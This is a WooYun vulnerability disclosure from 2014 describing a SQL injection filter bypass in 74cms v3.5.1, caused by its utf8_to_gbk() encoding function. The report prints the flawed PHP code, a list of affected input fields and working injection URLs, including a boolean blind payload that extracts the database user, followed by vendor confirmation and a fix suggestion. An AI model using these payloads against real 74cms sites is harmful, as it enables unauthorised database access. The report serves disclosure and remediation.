当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(26) 关注此漏洞

缺陷编号： WooYun-2014-80490

漏洞标题： 74cms(20141020)全局SQL注入过滤绕过

相关厂商： 74cms.com

漏洞作者： 龟兔赛跑

提交时间： 2014-10-27 10:19

公开时间： 2015-01-25 10:20

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 20

漏洞状态： 厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 help@wooyun.org

Tags标签： 无

5人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-27： 细节已通知厂商并且等待厂商处理中
2014-10-28： 厂商已经确认，细节仅向厂商公开
2014-10-31： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-12-22： 细节向核心白帽子及相关领域专家公开
2015-01-01： 细节向普通白帽子公开
2015-01-11： 细节向实习白帽子公开
2015-01-25： 细节向公众公开

简要描述：

74cms_v3.5.1_20141020
绕过全局SQL注入过滤。

详细说明：

http://**.**.**.**/bugs/wooyun-2014-063225报道过74cms转换编码导致的SQL注入的问题，是由于使用了iconv()函数导致的，74cms做了修正，转而使用了自定义的函数utf8_to_gbk()来转换编码，代码如下：

code 区域
function utf8_to_gbk($utfstr) {


	global $UC2GBTABLE;


	$okstr = '';


	if(empty($UC2GBTABLE)) {


		define('CODETABLEDIR', dirname(__FILE__).DIRECTORY_SEPARATOR.'encoding'.DIRECTORY_SEPARATOR);


		$filename = CODETABLEDIR.'gb-unicode.table';


		$fp = fopen($filename, 'rb');


		while($l = fgets($fp,15)) {        


			$UC2GBTABLE[hexdec(substr($l, 7, 6))] = hexdec(substr($l, 0, 6));


		}


		fclose($fp);


	}


	$okstr = '';


	$ulen = strlen($utfstr);


	for($i=0; $i<$ulen; $i++) {


		$c = $utfstr[$i];


		$cb = decbin(ord($utfstr[$i]));


		if(strlen($cb)==8) { 


			$csize = strpos(decbin(ord($cb)),'0');


			for($j = 0; $j < $csize; $j++) {


				$i++; 


				$c .= $utfstr[$i];


			}


			$c = utf8_to_unicode($c);


			if(isset($UC2GBTABLE[$c])) {


				$c = dechex($UC2GBTABLE[$c]+0x8080);


				$okstr .= chr(hexdec($c[0].$c[1])).chr(hexdec($c[2].$c[3]));


			} else {


				$okstr .= '&#'.$c.';';


			}


		} else {


			$okstr .= $c;


		}


	}


	$okstr = trim($okstr);


	return $okstr;


}





不过这个转换代码还是会导致SQL注入。



例如输入为%88%ec%27，经过全局注入addslashes_deep()处理后就把变成了

%88%ec%5c%27,



utf8_to_gbk()转换过后就变成了： 謜'，导致了'的注入。



理论上所有使用utf8_to_gbk(), 然后会带入SQL语句的代码都受影响。



code 区域
# grep -nr utf8_to_gbk .


./user/company/company_info.php:26:	$setsqlarr['companyname']=trim($_POST['companyname'])?utf8_to_gbk(trim($_POST['companyname'])):exit('��û��������ҵ���ƣ�');


./user/company/company_info.php:29:	$setsqlarr['nature_cn']=utf8_to_gbk(trim($_POST['nature_cn']));


./user/company/company_info.php:31:	$setsqlarr['trade_cn']=utf8_to_gbk(trim($_POST['trade_cn']));


./user/company/company_info.php:34:	$setsqlarr['district_cn']=utf8_to_gbk(trim($_POST['district_cn']));


./user/company/company_info.php:38:	$setsqlarr['street_cn']=utf8_to_gbk(trim($_POST['street_cn']));


./user/company/company_info.php:40:	$setsqlarr['scale']=trim($_POST['scale'])?utf8_to_gbk(trim($_POST['scale'])):exit('��ѡ����˾��ģ��');


./user/company/company_info.php:41:	$setsqlarr['scale_cn']=utf8_to_gbk(trim($_POST['scale_cn']));


./user/company/company_info.php:42:	$setsqlarr['registered']=utf8_to_gbk(trim($_POST['registered']));


./user/company/company_info.php:43:	$setsqlarr['currency']=utf8_to_gbk(trim($_POST['currency']));


./user/company/company_info.php:44:	$setsqlarr['address']=trim($_POST['address'])?utf8_to_gbk(trim($_POST['address'])):exit('����дͨѶ��ַ��');


./user/company/company_info.php:46:	$setsqlarr['contact']=trim($_POST['contact'])?utf8_to_gbk(trim($_POST['contact'])):exit('����д��ϵ�ˣ�');


./user/company/company_info.php:48:	$setsqlarr['telephone']=trim($_POST['telephone'])?utf8_to_gbk(trim($_POST['telephone'])):exit('����д��ϵ�绰��');


./user/company/company_info.php:50:	$setsqlarr['email']=trim($_POST['email'])?utf8_to_gbk(trim($_POST['email'])):exit('����д��ϵ���䣡');


./user/company/company_info.php:52:	$setsqlarr['website']=utf8_to_gbk(trim($_POST['website']));


./user/company/company_info.php:54:	$setsqlarr['contents']=trim($_POST['contents'])?utf8_to_gbk(trim($_POST['contents'])):exit('����д��˾���飡');


./user/user_report_resume.php:189:	$setsqlarr['content']=utf8_to_gbk($setsqlarr['content']);


./user/user_report_resume.php:190:	$setsqlarr['title']=utf8_to_gbk($setsqlarr['title']);


./user/user_apply_jobs.php:302:			$addarr['notes']=utf8_to_gbk($addarr['notes']);


./user/user_invited.php:347:		$addarr['notes']=utf8_to_gbk($addarr['notes']);


./user/personal/personal_resume.php:244:	$setsqlarr['title']=trim($_POST['title'])?utf8_to_gbk(trim($_POST['title'])):"�������";


./user/personal/personal_resume.php:246:	$setsqlarr['fullname']=trim($_POST['fullname'])?utf8_to_gbk(trim($_POST['fullname'])):exit('���������');


./user/personal/personal_resume.php:250:	$setsqlarr['sex_cn']=utf8_to_gbk(trim($_POST['sex_cn']));


./user/personal/personal_resume.php:252:	$setsqlarr['residence']=trim($_POST['residence'])?utf8_to_gbk(trim($_POST['residence'])):exit('��ѡ���־�ס�أ�');


./user/personal/personal_resume.php:253:	$setsqlarr['residence_cn']=utf8_to_gbk(trim($_POST['residence_cn']));


./user/personal/personal_resume.php:255:	$setsqlarr['education_cn']=utf8_to_gbk(trim($_POST['education_cn']));


./user/personal/personal_resume.php:257:	$setsqlarr['experience_cn']=utf8_to_gbk(trim($_POST['experience_cn']));


./user/personal/personal_resume.php:258:	$setsqlarr['email']=trim($_POST['email'])?utf8_to_gbk(trim($_POST['email'])):exit('����д���䣡');


./user/personal/personal_resume.php:263:	$setsqlarr['householdaddress_cn']=utf8_to_gbk(trim($_POST['householdaddress_cn']));	


./user/personal/personal_resume.php:265:	$setsqlarr['marriage_cn']=utf8_to_gbk(trim($_POST['marriage_cn']));


./user/personal/personal_resume.php:266:	$setsqlarr['intention_jobs']=utf8_to_gbk(trim($_POST['intention_jobs']));


./user/personal/personal_resume.php:268:	$setsqlarr['trade_cn']=utf8_to_gbk(trim($_POST['trade_cn']));


./user/personal/personal_resume.php:271:	$setsqlarr['district_cn']=utf8_to_gbk(trim($_POST['district_cn']));


./user/personal/personal_resume.php:273:	$setsqlarr['nature_cn']=utf8_to_gbk(trim($_POST['nature_cn']));


./user/personal/personal_resume.php:275:	$setsqlarr['wage_cn']=utf8_to_gbk(trim($_POST['wage_cn']));


./user/personal/personal_resume.php:394:	$school = utf8_to_gbk(trim($_POST['school']));


./user/personal/personal_resume.php:395:	$speciality = utf8_to_gbk(trim($_POST['speciality']));


./user/personal/personal_resume.php:396:	$education_cn = utf8_to_gbk(trim($_POST['education_cn']));


./user/personal/personal_resume.php:496:	$companyname = utf8_to_gbk(trim($_POST['companyname']));


./user/personal/personal_resume.php:497:	$jobs = utf8_to_gbk(trim($_POST['jobs']));


./user/personal/personal_resume.php:498:	$achievements = utf8_to_gbk(trim($_POST['achievements']));


./user/personal/personal_resume.php:601:	$agency = utf8_to_gbk(trim($_POST['agency']));


./user/personal/personal_resume.php:602:	$course = utf8_to_gbk(trim($_POST['course']));


./user/personal/personal_resume.php:603:	$description = utf8_to_gbk(trim($_POST['description']));


./user/plus/ajax_user.php:32:	$username=utf8_to_gbk($username);


./user/plus/ajax_user.php:33:	$password=utf8_to_gbk($password);


./user/plus/ajax_user.php:41:		$postcaptcha=utf8_to_gbk($postcaptcha);


./user/plus/ajax_user.php:73:		$postcaptcha=utf8_to_gbk($postcaptcha);


./user/plus/ajax_user.php:87:	$username=utf8_to_gbk($username);


./user/plus/ajax_user.php:88:	$password=utf8_to_gbk($password);


./user/plus/ajax_user.php:134:	$usname=utf8_to_gbk($usname);


./user/plus/ajax_user.php:157:	$email=utf8_to_gbk($email);


./user/user_report.php:189:	$setsqlarr['content']=utf8_to_gbk($setsqlarr['content']);


./user/user_report.php:190:	$setsqlarr['jobs_name']=utf8_to_gbk($setsqlarr['jobs_name']);


./wap/company/wap_company_jobs.php:83:	$_POST=array_map("utf8_to_gbk", $_POST);


./wap/company/wap_company_jobs.php:324:	$_POST=array_map("utf8_to_gbk", $_POST);


./wap/company/wap_user.php:49:	$_POST=array_map("utf8_to_gbk", $_POST);


./wap/personal/wap_apply.php:46:	$_POST=array_map("utf8_to_gbk", $_POST);


./wap/personal/wap_user.php:93:	$_POST=array_map("utf8_to_gbk",$_POST);


./wap/personal/wap_user.php:231:	$_POST=array_map("utf8_to_gbk",$_POST);


./wap/personal/wap_user.php:294:	$_POST=array_map("utf8_to_gbk",$_POST);


./wap/personal/wap_user.php:335:	$_POST=array_map("utf8_to_gbk",$_POST);


./wap/personal/wap_user.php:410:	$_POST=array_map("utf8_to_gbk",$_POST);


./wap/personal/wap_user.php:481:	$_POST=array_map("utf8_to_gbk",$_POST);


./wap/personal/wap_user.php:539:	$_POST=array_map("utf8_to_gbk",$_POST);


./wap/personal/wap_user.php:643:	$_POST=array_map("utf8_to_gbk", $_POST);


./include/common.fun.php:934:function utf8_to_gbk($utfstr) {


./plus/ajax_search_location.php:18:$_GET['key']=utf8_to_gbk($_GET['key']);


./plus/ajax_simple.php:266:	$pwd=utf8_to_gbk($pwd);


./plus/weixin.php:36:			$keyword = utf8_to_gbk($keyword);


./plus/ajax_common.php:69:	$gbk_query=utf8_to_gbk($gbk_query);


./plus/ajax_street.php:48:	if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) $key=utf8_to_gbk($key);


./plus/ajax_user.php:32:	$username=utf8_to_gbk($username);


./plus/ajax_user.php:33:	$password=utf8_to_gbk($password);


./plus/ajax_user.php:41:		$postcaptcha=utf8_to_gbk($postcaptcha);


./plus/ajax_user.php:73:		$postcaptcha=utf8_to_gbk($postcaptcha);


./plus/ajax_user.php:87:	$username=utf8_to_gbk($username);


./plus/ajax_user.php:88:	$password=utf8_to_gbk($password);


./plus/ajax_user.php:134:	$usname=utf8_to_gbk($usname);


./plus/ajax_user.php:157:	$email=utf8_to_gbk($email);





这里就不一一尝试了，只是使用其中的一个两个验证一下：



1：

code 区域
http://**.**.**.**/plus/ajax_common.php?act=hotword&query=%88%ec%27





返回SQL错误：

code 区域
Error：Query error:SELECT * FROM qs_hotword WHERE w_word like '%謜'%' ORDER BY `w_hot` DESC LIMIT 0 , 10





1.png





AND/OR注入绕过安全狗取得user()信息：



FALSE的情况，返回所有的hotword：

code 区域
http://**.**.**.**/plus/ajax_common.php?act=hotword&query=%88%ec%27%20or%20strcmp(substr(user(),1,14),char(114,111,111,116,64,108,111,99,97,108,104,111,115,115))%23





3.png





TRUE的情况，:没有任何返回

code 区域
http://**.**.**.**/plus/ajax_common.php?act=hotword&query=%88%ec%27%20or%20strcmp(substr(user(),1,14),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116))%23



4.png





code 区域
user() = root@localhost





2：

code 区域
http://**.**.**.**/plus/ajax_user.php?act=check_usname


POST： usname=%88%ec%27





返回错误：

code 区域
Error：Query error:select * from qs_members where username = '&#35612;'' LIMIT 1



2.png

漏洞证明：

1.png





2.png



修复方案：

修正utf8_to_gbk()，以及不要过度依赖全局过滤。



PS: 传说中的通用性软件安全漏洞奖励呢？为啥没有一个漏洞给过？

版权声明：转载请注明来源 龟兔赛跑@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-10-28 14:24

厂商回复：

感谢反馈！

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-10-27 10:45 | Power ( 实习白帽子 | Rank:78 漏洞数:26 )
    1

    ...大牛啊

    1# 回复此人
  2. 2014-10-27 10:53 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸！)
    0

    屌爆

    2# 回复此人
  3. 2014-10-27 10:54 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:941 漏洞数:108 )
    0

    前排 掉渣天

    3# 回复此人
  4. 2014-10-27 11:09 | px1624 ( 普通白帽子 | Rank:1108 漏洞数:189 | px1624)
    0

    牛逼！

    4# 回复此人
  5. 2014-10-27 12:42 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名，可我没猜出密码。)
    0

    nice

    5# 回复此人
  6. 2014-10-28 14:44 | 风花雪月 ( 实习白帽子 | Rank:67 漏洞数:49 | []+[]|[]-[][][][][]%[][]|[]\[]%[][]|[]\[...)
    0

    敢不敢来个74cms getshell

    6# 回复此人
  7. 2014-10-28 21:38 | 龟兔赛跑 ( 普通白帽子 | Rank:243 漏洞数:29 | 初学者)
    0

    @风花雪月 getshell搞不定阿,还没这个能力

    7# 回复此人
  8. 2014-10-30 10:04 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    绕过的意思是能select from了？

    8# 回复此人
  9. 2014-10-30 10:17 | 龟兔赛跑 ( 普通白帽子 | Rank:243 漏洞数:29 | 初学者)
    0

    select from还是不能阿,只是不需要二次注入了

    9# 回复此人
  10. 2015-01-25 10:55 | Mark ( 路人 | Rank:14 漏洞数:5 | You deserve more)
    0

    注入牛

    10# 回复此人

登录后才能发表评论，请先 登录 。